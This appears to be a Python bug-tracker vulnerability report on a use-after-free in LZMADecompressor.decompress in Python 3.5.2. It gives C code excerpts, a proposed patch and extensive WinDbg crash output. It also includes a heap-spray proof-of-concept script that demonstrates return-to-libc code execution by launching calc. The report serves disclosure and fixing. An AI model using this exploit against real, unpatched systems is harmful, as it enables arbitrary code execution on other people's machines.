Issue 28275: LZMADecompressor.decompress Use After Free (original) (raw)

Python 3.5.2 suffers from a use after free vulnerability caused by the behavior of the LZMADecompressor.decompress method. The problem exists due to a dangling pointer created by an incomplete error path in the _lzma!decompress function.

static PyObject * decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length) { char input_buffer_in_use; PyObject *result; lzma_stream *lzs = &d->lzs;

/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
    [...]
}
else {
    lzs->next_in = data;
    lzs->avail_in = len;
    input_buffer_in_use = 0;
}

result = decompress_buf(d, max_length);
if(result == NULL)
    return NULL;
[...]

}

When the function is first called, lzs->next_in is NULL, so it is set using the data argument. If the subsequent call to decompress_buf fails because the stream is malformed, the function returns while maintaining the current value for lzs->next_in.

A couple returns later, the allocation pointed to by lzs->next_in (data) is freed:

static PyObject * _lzma_LZMADecompressor_decompress(Decompressor *self, PyObject *args, PyObject *kwargs) { PyObject *return_value = NULL; static char *_keywords[] = {"data", "max_length", NULL}; Py_buffer data = {NULL, NULL}; Py_ssize_t max_length = -1;

if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*|n:decompress", _keywords,
    &data, &max_length))
    goto exit;
return_value = _lzma_LZMADecompressor_decompress_impl(self, &data, max_length);

exit: /* Cleanup for data */ if (data.obj) PyBuffer_Release(&data);

return return_value;

}

At this point, any calls to decompress made to the same Decompressor instance (a typical use case--multiple calls may be necessary to decompress a single stream) will result in a memcpy to the dangling lzs->next_in pointer, and thus memory corruption.

static PyObject * decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length) { char input_buffer_in_use; PyObject *result; lzma_stream *lzs = &d->lzs;

/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
    size_t avail_now, avail_total;
    [...]
    memcpy((void*)(lzs->next_in + lzs->avail_in), data, len);
    lzs->avail_in += len;
    input_buffer_in_use = 1;
}
else {
    [...]
}

}

This vulnerability can be exploited to achieve arbitrary code execution. In applications where untrusted LZMA streams are received over a network, it might be possible to exploit this vulnerability remotely. A simple proof of concept that demonstrates a return-to-libc attack is attached.

import _lzma from array import *

System address when tested: 76064070

d = _lzma.LZMADecompressor() spray = []; for x in range(0, 0x700): meg = bytearray(b'\x76\x70\x40\x06' * int(0x100000 / 4));
spray.append(meg)

def foo():
for x in range(0, 2): try: d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41" * int(0x100 / (4*4))) except: pass foo() print(len(spray[0])) print(len(spray))

To fix the issue, it is recommended that lzs->next_in be zeroed in the event the call to decompress_buf fails. A proposed patch is attached.

result = decompress_buf(d, max_length);
if(result == NULL) {
    lzs->next_in = 0;
    return NULL;
}

A repro file is attached as well.

Exception details:

0:000> r eax=0000000a ebx=009ef540 ecx=00000002 edx=41414141 esi=08b44970 edi=09275fe8 eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 VCRUNTIME140D!TrailingDownVec+0x1f9: 6bf55149 8917 mov dword ptr [edi],edx ds:002b:09275fe8=???????? 0:000> k ChildEBP RetAddr
009ef3e4 5d573f80 VCRUNTIME140D!TrailingDownVec+0x1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658] 009ef434 5d573383 _lzma_d!decompress+0x130 [c:\source2\python-3.5.2\modules_lzmamodule.c @ 997] 009ef454 5d572049 _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93 [c:\source2\python-3.5.2\modules_lzmamodule.c @ 1097] 009ef49c 55e6dd40 _lzma_d!_lzma_LZMADecompressor_decompress+0x79 [c:\source2\python-3.5.2\modules\clinic_lzmamodule.c.h @ 99] 009ef4d4 55f65199 python35_d!PyCFunction_Call+0x80 [c:\source2\python-3.5.2\objects\methodobject.c @ 98] 009ef4fc 55f6008d python35_d!call_function+0x3e9 [c:\source2\python-3.5.2\python\ceval.c @ 4705] 009ef58c 55f6478d python35_d!PyEval_EvalFrameEx+0x509d [c:\source2\python-3.5.2\python\ceval.c @ 3238] 009ef5cc 55f5afbd python35_d!_PyEval_EvalCodeWithName+0x73d [c:\source2\python-3.5.2\python\ceval.c @ 4018] 009ef608 55f5af81 python35_d!PyEval_EvalCodeEx+0x2d [c:\source2\python-3.5.2\python\ceval.c @ 4039] 009ef63c 55fe67de python35_d!PyEval_EvalCode+0x21 [c:\source2\python-3.5.2\python\ceval.c @ 777] 009ef660 55fe2daa python35_d!run_mod+0x3e [c:\source2\python-3.5.2\python\pythonrun.c @ 976] 009ef69c 55fe3dac python35_d!PyRun_FileExFlags+0x9a [c:\source2\python-3.5.2\python\pythonrun.c @ 929] 009ef730 55fe2c5b python35_d!PyRun_SimpleFileExFlags+0x3ec [c:\source2\python-3.5.2\python\pythonrun.c @ 396] 009ef74c 55d39e6d python35_d!PyRun_AnyFileExFlags+0x6b [c:\source2\python-3.5.2\python\pythonrun.c @ 80] 009ef7a0 55d38821 python35_d!run_file+0x13d [c:\source2\python-3.5.2\modules\main.c @ 318] 009ef908 1c841331 python35_d!Py_Main+0xf01 [c:\source2\python-3.5.2\modules\main.c @ 768] 009ef918 1c84178e python_d!wmain+0x11 [c:\source2\python-3.5.2\programs\python.c @ 14] 009ef92c 1c8415da python_d!invoke_main+0x1e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89] 009ef984 1c84146d python_d!__scrt_common_main_seh+0x15a [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264] 009ef98c 1c8417a8 python_d!__scrt_common_main+0xd [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 309] 009ef994 742438f4 python_d!wmainCRTStartup+0x8 [f:\dd\vctools\crt\vcstartup\src\startup\exe_wmain.cpp @ 17] 009ef9a8 77545de3 KERNEL32!BaseThreadInitThunk+0x24 009ef9f0 77545dae ntdll!__RtlUserThreadStart+0x2f 009efa00 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> !heap -p -a edi address 09275fe8 found in _DPH_HEAP_ROOT @ 53a1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 9182d68: 9275000 2000 5c949cd2 verifier!AVrfDebugPageHeapFree+0x000000c2 775be045 ntdll!RtlDebugFreeHeap+0x0000003c 7751cc3e ntdll!RtlpFreeHeap+0x00000c3e 7751b4c8 ntdll!RtlFreeHeap+0x00000268 591067a7 ucrtbased!free_base+0x00000027 5910394b ucrtbased!calloc_base+0x00000b5b 5910617c ucrtbased!free_dbg+0x0000007c 59106750 ucrtbased!free+0x00000010 55e781bd python35_d!_PyMem_RawFree+0x0000000d [c:\source2\python-3.5.2\objects\obmalloc.c @ 90] 55e77f32 python35_d!_PyMem_DebugFree+0x00000072 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1892] 55e78434 python35_d!PyMem_RawFree+0x00000014 [c:\source2\python-3.5.2\objects\obmalloc.c @ 316] 55e77ad1 python35_d!_PyObject_Free+0x00000591 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1618] 55e77f32 python35_d!_PyMem_DebugFree+0x00000072 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1892] 55e78724 python35_d!PyObject_Free+0x00000014 [c:\source2\python-3.5.2\objects\obmalloc.c @ 410] 55e02005 python35_d!bytes_dealloc+0x00000015 [c:\source2\python-3.5.2\objects\bytesobject.c @ 956] 55e75f73 python35_d!_Py_Dealloc+0x00000023 [c:\source2\python-3.5.2\objects\object.c @ 1786] 55e922f7 python35_d!tupledealloc+0x000000c7 [c:\source2\python-3.5.2\objects\tupleobject.c @ 236] 55e75f73 python35_d!_Py_Dealloc+0x00000023 [c:\source2\python-3.5.2\objects\object.c @ 1786] 55f651a9 python35_d!call_function+0x000003f9 [c:\source2\python-3.5.2\python\ceval.c @ 4707] 55f6008d python35_d!PyEval_EvalFrameEx+0x0000509d [c:\source2\python-3.5.2\python\ceval.c @ 3238] 55f6478d python35_d!_PyEval_EvalCodeWithName+0x0000073d [c:\source2\python-3.5.2\python\ceval.c @ 4018] 55f5afbd python35_d!PyEval_EvalCodeEx+0x0000002d [c:\source2\python-3.5.2\python\ceval.c @ 4039] 55f5af81 python35_d!PyEval_EvalCode+0x00000021 [c:\source2\python-3.5.2\python\ceval.c @ 777] 55fe67de python35_d!run_mod+0x0000003e [c:\source2\python-3.5.2\python\pythonrun.c @ 976] 55fe2daa python35_d!PyRun_FileExFlags+0x0000009a [c:\source2\python-3.5.2\python\pythonrun.c @ 929] 55fe3dac python35_d!PyRun_SimpleFileExFlags+0x000003ec [c:\source2\python-3.5.2\python\pythonrun.c @ 396] 55fe2c5b python35_d!PyRun_AnyFileExFlags+0x0000006b [c:\source2\python-3.5.2\python\pythonrun.c @ 80] 55d39e6d python35_d!run_file+0x0000013d [c:\source2\python-3.5.2\modules\main.c @ 318] 55d38821 python35_d!Py_Main+0x00000f01 [c:\source2\python-3.5.2\modules\main.c @ 768] 1c841331 python_d!wmain+0x00000011 [c:\source2\python-3.5.2\programs\python.c @ 14] 1c84178e python_d!invoke_main+0x0000001e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89] 1c8415da python_d!__scrt_common_main_seh+0x0000015a [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264]

0:000> !analyze -v -nodb

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FAULTING_IP: VCRUNTIME140D!TrailingDownVec+1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658] 6bf55149 8917 mov dword ptr [edi],edx

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 6bf55149 (VCRUNTIME140D!TrailingDownVec+0x000001f9) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 09275fe8 Attempt to write to address 09275fe8

CONTEXT: 00000000 -- (.cxr 0x0;r) eax=0000000a ebx=009ef540 ecx=00000002 edx=41414141 esi=08b44970 edi=09275fe8 eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 VCRUNTIME140D!TrailingDownVec+0x1f9: 6bf55149 8917 mov dword ptr [edi],edx ds:002b:09275fe8=????????

FAULTING_THREAD: 000043fc

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE

PROCESS_NAME: python_d.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 09275fe8

WRITE_ADDRESS: 09275fe8

FOLLOWUP_IP: VCRUNTIME140D!TrailingDownVec+1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658] 6bf55149 8917 mov dword ptr [edi],edx

NTGLOBALFLAG: 2000000

APPLICATION_VERIFIER_FLAGS: 0

APP: python_d.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER: from 5d573f80 to 6bf55149

STACK_TEXT:
009ef3e4 5d573f80 09275fe8 08b44970 0000000a VCRUNTIME140D!TrailingDownVec+0x1f9 009ef434 5d573383 060e9f40 08b44970 0000000a _lzma_d!decompress+0x130 009ef454 5d572049 060e9f40 009ef468 ffffffff _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93 009ef49c 55e6dd40 060e9f40 079cec40 00000000 _lzma_d!_lzma_LZMADecompressor_decompress+0x79 009ef4d4 55f65199 08b53db8 079cec40 00000000 python35_d!PyCFunction_Call+0x80 009ef4fc 55f6008d 009ef540 079cec40 06143c78 python35_d!call_function+0x3e9 009ef58c 55f6478d 06143c78 00000000 1c84114f python35_d!PyEval_EvalFrameEx+0x509d 009ef5cc 55f5afbd 079eae60 06143c78 06171978 python35_d!_PyEval_EvalCodeWithName+0x73d 009ef608 55f5af81 079eae60 06171978 06171978 python35_d!PyEval_EvalCodeEx+0x2d 009ef63c 55fe67de 079eae60 06171978 06171978 python35_d!PyEval_EvalCode+0x21 009ef660 55fe2daa 08db1470 08b4b168 06171978 python35_d!run_mod+0x3e 009ef69c 55fe3dac 06e40fc0 079f30e0 00000101 python35_d!PyRun_FileExFlags+0x9a 009ef730 55fe2c5b 06e40fc0 079f30e0 00000001 python35_d!PyRun_SimpleFileExFlags+0x3ec 009ef74c 55d39e6d 06e40fc0 079f30e0 00000001 python35_d!PyRun_AnyFileExFlags+0x6b 009ef7a0 55d38821 06e40fc0 06012fa6 009ef85c python35_d!run_file+0x13d 009ef908 1c841331 00000002 06012f80 009ef92c python35_d!Py_Main+0xf01 009ef918 1c84178e 00000002 06012f80 0601af40 python_d!wmain+0x11 009ef92c 1c8415da 851961c5 1c84114f 1c84114f python_d!invoke_main+0x1e 009ef984 1c84146d 009ef994 1c8417a8 009ef9a8 python_d!__scrt_common_main_seh+0x15a 009ef98c 1c8417a8 009ef9a8 742438f4 006cd000 python_d!__scrt_common_main+0xd 009ef994 742438f4 006cd000 742438d0 939c497b python_d!wmainCRTStartup+0x8 009ef9a8 77545de3 006cd000 5080bb84 00000000 KERNEL32!BaseThreadInitThunk+0x24 009ef9f0 77545dae ffffffff 7756b7d7 00000000 ntdll!__RtlUserThreadStart+0x2f 009efa00 00000000 1c84114f 006cd000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: .cxr 0x0 ; kb

FAULTING_SOURCE_LINE: f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm

FAULTING_SOURCE_FILE: f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm

FAULTING_SOURCE_LINE_NUMBER: 658

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: vcruntime140d!TrailingDownVec+1f9

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: VCRUNTIME140D

IMAGE_NAME: VCRUNTIME140D.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 558ce3d5

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_VCRUNTIME140D.dll!TrailingDownVec

BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ_vcruntime140d!TrailingDownVec+1f9

ANALYSIS_SOURCE: UM

FAILURE_ID_HASH_STRING: um:invalid_pointer_write_c0000005_vcruntime140d.dll!trailingdownvec

FAILURE_ID_HASH: {935a9c66-b210-2678-8c10-c746a999bfb6}

Followup: MachineOwner